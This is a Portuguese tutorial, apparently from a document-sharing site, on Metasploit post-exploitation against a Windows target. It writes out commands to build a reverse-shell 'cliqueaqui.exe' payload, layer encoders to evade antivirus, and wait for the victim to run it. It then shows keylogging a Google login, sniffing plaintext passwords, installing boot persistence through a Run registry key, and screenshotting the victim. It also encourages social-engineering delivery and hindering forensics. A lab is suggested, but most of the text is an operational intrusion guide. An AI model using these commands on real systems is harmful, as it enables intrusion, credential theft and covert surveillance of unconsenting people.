Você está na página 1de 16

Metasploit Exploitation Metasploit uma ferramenta utilizada, em sua maior parte, por Pen Testers, para a realizao de testes

s de penetrao (penetration test), podendo ser usada pelas mais variadas reas, para fins de testes, anlises, conhecimento, etc. Este artigo visa demonstrar algumas formas de uso para a ps-explorao de um alvo, usando o framework Metasploit, este que se encontra em sua verso 3.3.4dev. Recomendo, para este artigo um conhecimento prvio sobre o framework, linha de comando em Linux, redes de computadores, TCP/IP, etc! O cenrio utilizado para a criao deste artigo mostrado na figura a baixo.

Descrio: Attacker = De onde partiram os ataques. Roteador1 = Roteador da rede local do atacante. XX.XX.XX.XX = IP WAN YY.YY.YY.YY = IP WAN Roteador2 = Roteador da rede local do alvo. 10.0.0.0/8 = Classe utilizada na rede interna do alvo. Obs.: Ficar atento ao redirecionamento das portas no roteador para a mquina atacante.

Nota: Em seus testes, no h a necessidade de utilizar as mesmas classes de IPs, quantidades de mquinas utilizadas neste exemplo, fica a seu critrio a alterao dos mesmos. Dica: Com 2 mquinas reais e softwares de virtualizao instalada em ambos, voc conseguir montar o cenrio acima proposto. Comeando: Assumirei que voc j tenha estabelecido uma sesso meterpreter com pelo 1 mquina na rede alvo. Ah, ainda no? E no sabe como fazer?Ok! Sem problemas, irei demonstrar uma simples tcnica apenas para ganharmos a sesso meterpreter e assim podermos continuar com nosso artigo. Entre no diretrio do MSF com o seguinte comando: root@bt:~# cd /pentest/exploits/framework3/ Ok! Antes de continuarmos, sempre bom mantermos o metasploit atualizado, sendo assim, como j estamos no diretrio do msf, basta o comando svn update para atualizarmos o MSF. root@bt:/pentest/exploits/framework3# svn update Com o msf atualizado, iremos criar o payload que enviaremos para o nosso alvo. Prosseguimos com o seguinte comando: root@bt:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 X > cliqueaqui.exe Ser criado no diretrio corrente o arquivo executvel cliqueaqui.exe, agora basta enviar para o alvo e aguard-lo clicar para execuo, certo?

NO, no est certo! E os anti-virus? Com este simples payload que criamos, o AV, detectar assim que ele por os ps no alvo! Se enviarmos o arquivo criado acima cliqueaqui.exe para uma analise online com vrios AVs, veremos que muitos o detectam. Utilizei o site Virus Total para a verificao online do arquivo, veja a imagem abaixo que dos 40 AVs existentes no site, apenas 13 identificam o nosso arquivo cliqueaqui.exe.

Veja tambm no site Verificador de Malware Jotti, neste, dos 20 scanners, 7 detectam o arquivo.

Sendo assim, vamos tunar nosso arquivo cliqueaqui.exe. Digite o seguinte comando: root@bt:/pentest/exploits/framework3# msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX

LPORT=4455 R | msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw | msfencode -c 5 -a x86 -e x86/alpha_mixed -t raw | msfencode -c 3 -e x86/call4_dword_xor -t exe > cliqueaqui2.exe Obs.: Troquem XX.XX.XX.XX pelo IP WAN do seu roteador! Obs.: Lembrando que o comando acima no a melhor prtica para burlar AV! Pronto, agora podemos ver que j diminumos a quantidade de AVs que estavam detectando nosso arquivo, como pode ser visto na figura abaixo.

Concludo a criao do nosso payload, agora vamos para a prxima fase. Nota: No entrarei em detalhes nas opes usadas acima a princpio, assim que possvel explicarei os opes novamente com outro artigo mais detalhado neste quesito. Dica: Aqui foi usado um simples payload reverso para conseguirmos estabelecer a sesso meterpreter. Mais poderiam ser utilizados outras tcnicas, como, envio de arquivo pdf com cdigo malicioso, uma imagem jpeg, um arquivo doc, usando engenharia social fazendo com que a vitima execute outros arquivos, etc.. Fica para um prximo artigo. USEM A IMAGINAO. Dica: Gaste algum tempo na leitura das opes dos comandos usados acima.

# ./msfpayload h # ./msfencode h # ./msfencode l Obs.: Vou considerar que vocs criaram um ambiente virtual para os testes, sendo assim, no h a necessidade de aprofundar (no agora!) em criao de payloads e tal, na mquina virtual, vocs podem desabilitar o AV e executar o primeiro payload que criamos, assim, ser criada a sesso entre o atacante e o alvo normalmente. Console Metasploit: Agora que criamos nosso arquivo cliqueaqui2.exe e enviamos ao alvo, precisamos deixar nosso msf escutando as conexes, esperando a execuo do nosso arquivo no alvo. Para isso, de os seguintes comandos no console do metasploit: msf > use exploit/multi/handler msf > set PAYLOAD Windows/meterpreter/reverse_tcp msf > set LHOST 192.168.0.110 msf > set LPORT 4455 msf > exploit Veja os comandos na imagem abaixo:

Ao ser executado o nosso arquivo no computador da vitima, ser estabelecida uma conexo entre o Atacante e o alvo. Assim, ganhamos nossa Shell meterpreter. Veja imagem abaixo.

Aparentemente parece que est travado, mais no est! Repare que a sesso meterpreter j foi criada, sendo assim, pressionamos Ctrl+C para finalizar este travamento. Agora digite o comando sessions l, como abaixo.

Temos uma sesso ativa com ID de nmero 1 identificando-a. Veja que aparentemente conectamos do IP da nossa mquina local (192.168.0.110) com o IP WAN do roteador2 (YY.YY.YY.YY). Agora vamos interagir com o console meterpreter, basta o comando sessions i 1 como mostrado abaixo.

Yes! Agora sim, vamos comear o artigo! :) Meterpreter O meterpreter supera as limitaes e fornece vrias APIs que permite ao atacante executar diversos ataques de explorao no Shell meterpreter, podendo ir mais a fundo e descobrindo o mximo possvel de informaes do alvo e da rede interna. Meterpreter proporciona uma enorme flexibilidade para o processo de ps-explorao, deixando-o at escrever seus prprios scripts meterpreter. Bom, chega de bla bla bla!!! Como estamos executando em cima do processo cliqueaqui2.exe, precisamos migrar para um processo mais estvel, onde um usurio dificilmente ir ver onde estamos!

Agora vejamos no console meterpreter o processo que estamos com o comando getpid, seguido do comando ps.

Agora vamos migrar para o processo explorer.exe com o comando migrate. Repare na imagem acima o PID do processo explorer.exe.

Ok! Deseja ver a verso do Windows que voc est atacando? Simples, d o comando sysinfo.

Agora vejamos o IP da mquina que estamos executando com o comando

ipconfig.

Comandos simples at agora, se quiser ver os comandos disponveis para uso no console meterpreter, basta executar o comando help ou simplesmente ?.

Avanando com Meterpreter. Agora vamos usar o keylogging e vamos tentar capturar o mximo das teclas digitadas pelo usurio. Est uma tcnica demorada para retorno de informaes e consome muito tempo, eu aconselho usa-l aps ter retirado o mximo de informaes do alvo e tambm depois da instalao de algum backdoor, para que assim, caso o usurio desligue ou reinice a mquina, consigamos voltar a acess-la posteriormente. Com o comando keyscan_start, iniciamos o nosso keylogger, agora s esperar um tempo e ver os resultados.

Na imagem abaixo estou tentado fazer login nos servios do Google.

Agora vamos ver o que nosso keylogger pegou com o comando keyscan_dump e logo em seguida finalizo o mesmo.

Repare na imagem acima, que foi capturado o meu e-mail (meulogin) e minha senha (minhasenha). Sniffing com Meterpreter. Vamos sniffar o que passa pela nossa interface do alvo e ver o que conseguimos pegar de interessante. Primeiramente, precisamos carregar o mdulo sniffer com o comando use sniffer, em seguida, pedimos para listar as interfaces de rede com o comando sniffer_interfaces. Iremos iniciar nosso sniffer nesta interface indicada pelo numero 1, com o comando sniffer_start 1, podemos esperar o tempo que voc achar conveniente. J foi tomar uma gua? Uma cerveja? Tomou banho? No? Ok! No faz mal, vou salvar o que ele farejou at agora em um arquivo com extenso .cap, com o nome de sniffer, com o comando sniffer_dump 1 /tmp/sniffer.cap, para eu poder analis-lo com outra ferramenta mais intuitiva, e logo aps, encerro o sniffing.

Vejamos algumas informaes sobre o arquivo sniffer.cap usando o capinfos.

Vamos analisar o arquivo sniffer.cap com a ferramenta Wireshark. Basta abrir o Wireshark e ir em File > Open e apontar para o arquivo sniffer.cap.

Agora veja a interface do Wireshark j com o arquivo sniffer.cap carregado. E as senhas em plaint-text heim? Perigooo!!! :

Ah! Voc no gosta do Wireshark ou no quer us-lo agora? Prefere o tcpdump? No problem! Vamos analisar o arquivo sniffer.cap com o tcpdump ento, oras!!! root@bt:~# tcpdump n r sniffer.cap Se quiser ver as primeiras 10 linhas do arquivo, basta adicionar head n 10 na frente do comando acima. root@bt:~# tcpdump n r sniffer.cap head n 10 Vamos continuar com o sniffer, s que agora executando com o modo interativo do ruby, basta executar o comando irb e voil!!

Seria interessante, para uma melhor compreenso, ter noes bsicas da linguagem ruby. Como o modo interativo est doido para trabalhar, vamos l. Um pouco acima, quando executamos o comando use sniffer, por trs dos panos (ou cortinas!), estava executando a seguinte chamada API, client.core.use(sniffer) e quando executamos o comando sniffer_interfaces, estavamos invocando (Sai capeta!) a chamada API, client.sniffer.interfaces(). Veja e compare as sadas abaixo.

Olhe a imagem acima e repare que ao passar para o irb a chamada

client.core.use(sniffer), ele nos retorna true, nos confirmando que foi carregado com xito. E quando passamos a chamada client.sniffer.interfaces(), nos retorna informaes sobre a nossa interface, repare as sadas de ambas as sadas. E a chamada para iniciarmos o sniffing? Cad? Calma, est aqui! A chamada API client.sniffer.capture_start(intf, maxp), vemos que a chamada aceita dois valores, intf a identificao da interface, repare na imagem acima que conseguimos saber este valor executando a chamada client.sniffer.interfaces(), onde pegamos o valor de idx. E o valor de maxp, a quantidade mxima de pacotes que iremos armazenar no buffer. Ambos devero ser valores inteiros. Logo em seguida com a chamada client.sniffer.capture_stats(1), vemos o quanto j conseguimos snifar at o momento!

Hora de analisar o que farejamos no? Ohh Yes!! Lembra quando executamos o comando sniffer_dump? Pois , agora vamos executar a sua chamada API que identificada por client.sniffer.capture_dump(intf), nesta chamada obtemos do buffer as informaes e j apagando-a, par ler os dados precisamos invocar o esprito do... Ops! Me empolguei! Como dizia, precisamos da chamada client.sniffer.capture_dump_read(intf,1024*512).

Ok, j vimos como funciona mais ou menos internamente, agora podemos parar nosso sniffing com a chamada client.sniffer.capture_stop(1), passando a identificao do nossa interface, que equivale ao comando sniffer_stop 1.

Poxa! Vamos parar de cheirar agora (Isto me lembra um jogador famoso, deixa pra l!).

Mantendo o Acesso. Pois bem, at aqui est indo as mil maravilhas certo? No! Est indo mais ou menos, e se a pessoa reiniciar ou at mesmo desligar a mquina destino? Bom, vamos querer continuar com acesso a ela, para que posteriormente possamos obter mais informaes ainda. Para isso, existe um script meterpreter que nos ajudar fazer o que queremos, seu nome persistence! Muito prazer senhor Persistence! :P Para que possamos manter o acesso com a mquina alvo, precisamos executar o seguinte comando no console meterpreter mostrado logo abaixo, este script super difcil de utiliz-lo! meterpreter > run persistence X Est vendo que dificuldade voc ter pra conseguir manter o acesso com a mquina? Brincadeiras a parte, vamos explicao!

O comando acima criar um arquivo executvel na maquina destino, a opo X serve para que o arquivo criado seja executado durante o boot da mquina destino, vejam onboot=true. Repare na sada do comando o endereo IP local da mquina do atacante e que ela escutar na porta 4444, que a padro, podemos alterar a porta padro para outra que nos convenha usando a opo p seguido do nmero da porta, exemplo, -p 5555. Veja que foi feito o upload do executvel em C:\DOCUME~1\espreto\CONFIG~1\Temp\RVcLLgpYIYS.vbs e foi identificado com o PID 1052, vejam a sada do comando ps, e observem que foi criado com o

nome wscript.exe. E em seguida, foi criado um arquivo autorun na seguinte chave do registro HKLM\Software\Microsoft\Windows\CurrentVersion\Run\yjvpnmqbcAXmW U. Para testarmos, feche a janela do nosso console msf e abra-a novamente, vamos configurar o exploit multi/handler para ficar aguardando pela conexo. Se voc estiver utilizando uma mquina real ou virtual como alvo, desligue-a.

Conforme a imagem acima, agora ligue a mquina que estvamos atacando e espere alguns instantes para que possamos ganhar nossa Shell meterpreter.

Ok! Temos nossa Shell novamente e podemos continuar nossa explorao. PrintScreen Outro recurso legal que o meterpreter nos oferece, a possibilidade de tirarmos um printscreen da mquina destino, assim podemos ver o que a nossa vtima est fazendo naquele momento, no to interessante, mais d pra dar umas boas risadas! Este outro script extremamente difcil de usar. Reparem logo abaixo. :P

Usamos o comando use espia, para carregar o mdulo meterpreter e em seguida executamos o comando screenshot seguido pelo caminho onde ser salvo nosso screenshot com o nome de print1.png. Viram a dificuldade? Hehehe! Vejam a sada da imagem abaixo!

Concluso Como havia mencionado, o meterpreter oferece uma enorme flexibilidade para a ps-explorao, aqui neste artigo, escrevi algumas de suas particularidades. Poderia escrever um livro enorme sobre todas as possibilidades de uso para o framework! (Quem sabe!) De posse da Shell meterpreter existe diversos recursos que podemos utilizar para explorar ainda mais todos os recursos da rede, como, explorar outros computadores da rede a partir deste que estamos, habilitar o recurso de RDP (Remote Desktop Protocol), instalao de backdoors mais sofisticados, capturar hashs, dificultar o trabalho de percia forense (Show!), entre vrias outras possibilidades.

Você também pode gostar